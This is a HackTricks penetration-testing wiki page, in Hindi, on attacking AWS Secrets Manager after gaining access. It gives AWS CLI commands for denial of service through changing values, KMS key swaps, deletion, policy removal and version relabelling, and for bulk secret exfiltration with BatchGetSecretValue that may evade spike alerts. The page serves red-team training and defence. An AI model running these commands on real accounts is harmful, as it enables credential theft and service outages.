AWS - Secrets Manager Post Exploitation

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Secrets Manager

अधिक जानकारी के लिए देखें:

AWS - Secrets Manager Enum

Read Secrets

secrets स्वयं संवेदनशील जानकारी हैं, privesc पेज देखें ताकि इन्हें पढ़ना कैसे है यह सीख सकें।

DoS Change Secret Value

secret का value बदलकर आप उन सभी सिस्टम्स को DoS कर सकते हैं जो उस value पर निर्भर करते हैं।

warning

ध्यान दें कि पिछले मान भी संग्रहीत होते हैं, इसलिए पहले के मान पर वापस जाना आसान है।

bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Change KMS key

यदि हमलावर के पास secretsmanager:UpdateSecret permission है, तो वे secret को ऐसे KMS key के उपयोग के लिए कॉन्फ़िगर कर सकते हैं जो हमलावर के स्वामित्व में हो। वह key प्रारंभ में इस तरह सेट की जाती है कि कोई भी उसे एक्सेस और उपयोग कर सके, इसलिए नए key के साथ secret को अपडेट करना संभव होता है। अगर वह key पहुँच योग्य न होती, तो secret को अपडेट नहीं किया जा सकता था।

secret के लिए key बदलने के बाद, हमलावर अपनी key की configuration बदल देता है ताकि केवल वही उसे एक्सेस कर सके। इस तरह, secret के बाद के संस्करण नई key से एन्क्रिप्ट होंगे, और चूँकि उन तक पहुँच नहीं होगी, secret को पुनः प्राप्त करने की क्षमता खो जाएगी।

यह ध्यान रखना महत्वपूर्ण है कि यह पहुँच न होना केवल बाद के संस्करणों में ही होगा, जब secret की सामग्री बदल जाएगी, क्योंकि वर्तमान संस्करण अभी भी मूल KMS key से एन्क्रिप्ट है।

bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Deleting Secret

किसी secret को delete करने के लिए न्यूनतम दिनों की संख्या 7 है

bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

secretsmanager:RestoreSecret

यह संभव है कि आप किसी secret को पुनर्स्थापित कर सकें, जो उन secrets को बहाल करने की अनुमति देता है जिन्हें deletion के लिए शेड्यूल किया गया है, क्योंकि secrets के लिए न्यूनतम deletion अवधि 7 दिन और अधिकतम 30 दिन है। secretsmanager:GetSecretValue permission के साथ मिलकर, इससे उनके contents प्राप्त करना संभव हो जाता है।

डिलीट होने की प्रक्रिया में मौजूद किसी secret को recover करने के लिए, आप निम्नलिखित command का उपयोग कर सकते हैं:

bash
aws secretsmanager restore-secret \
--secret-id <Secret_Name>

secretsmanager:DeleteResourcePolicy

यह क्रिया उस resource policy को हटाने की अनुमति देती है जो नियंत्रित करती है कि कौन एक secret तक access कर सकता है। यदि resource policy किसी विशेष उपयोगकर्ताओं के समूह को access की अनुमति देने के लिए कॉन्फ़िगर की गई थी, तो इसे हटाने से DoS हो सकता है।

resource policy को हटाने के लिए:

bash
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>

secretsmanager:UpdateSecretVersionStage

एक secret की स्थिति का उपयोग secret के वर्शन को प्रबंधित करने के लिए किया जाता है। AWSCURRENT उस सक्रिय वर्शन को चिह्नित करता है जिसे applications उपयोग करती हैं, AWSPREVIOUS पिछले वर्शन को रखता है ताकि आवश्यक होने पर आप रोलबैक कर सकें, और AWSPENDING रोटेशन प्रक्रिया में नया वर्शन current बनाने से पहले उसे तैयार और सत्यापित करने के लिए उपयोग होता है।

Applications हमेशा AWSCURRENT वाले वर्शन को पढ़ती हैं। अगर कोई उस लेबल को गलत वर्शन पर ले जाता है, तो एप्लिकेशन अमान्य क्रेडेंशियल्स का उपयोग करेंगी और असफल हो सकती हैं।

AWSPREVIOUS स्वचालित रूप से उपयोग में नहीं आता। हालाँकि, यदि AWSCURRENT हटा दिया जाए या गलत तरीके से पुनः असाइन किया जाए, तो ऐसा लग सकता है कि सब कुछ फिर भी पिछले वर्शन के साथ चला जा रहा है।

bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>

Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)

Secrets Manager BatchGetSecretValue API का दुरुपयोग करके एक ही request में 20 तक secrets प्राप्त करें। यह प्रत्येक secret के लिए GetSecretValue चलाने की तुलना में API-call की संख्या को काफी कम कर सकता है। यदि filters (tags/name) उपयोग किए जाते हैं, तो ListSecrets permission भी आवश्यक है। CloudTrail फिर भी batch में प्राप्त प्रत्येक secret के लिए एक GetSecretValue event रिकॉर्ड करता है।

Required permissions

  • secretsmanager:BatchGetSecretValue
  • secretsmanager:GetSecretValue for each target secret
  • secretsmanager:ListSecrets if using --filters
  • kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)

warning

ध्यान दें कि permission secretsmanager:BatchGetSecretValue अकेला secrets प्राप्त करने के लिए पर्याप्त नहीं है; आपको हर secret के लिए secretsmanager:GetSecretValue भी चाहिए जिसे आप प्राप्त करना चाहते हैं।

Exfiltrate by explicit list

bash
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'

Exfiltrate फ़िल्टर के जरिए (tag key/value or name prefix)

bash
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp

आंशिक विफलताओं का प्रबंधन

bash
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>

प्रभाव

  • तेज़ “smash-and-grab” के जरिए कम API कॉल्स में कई secrets को तेजी से हासिल करना, जो संभावित रूप से GetSecretValue की स्पाइक्स के लिए कॉन्फ़िगर किए गए अलर्टिंग को बायपास कर सकता है।
  • CloudTrail logs में बैच द्वारा प्राप्त किए गए प्रत्येक secret के लिए अभी भी एक GetSecretValue इवेंट शामिल होता है।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें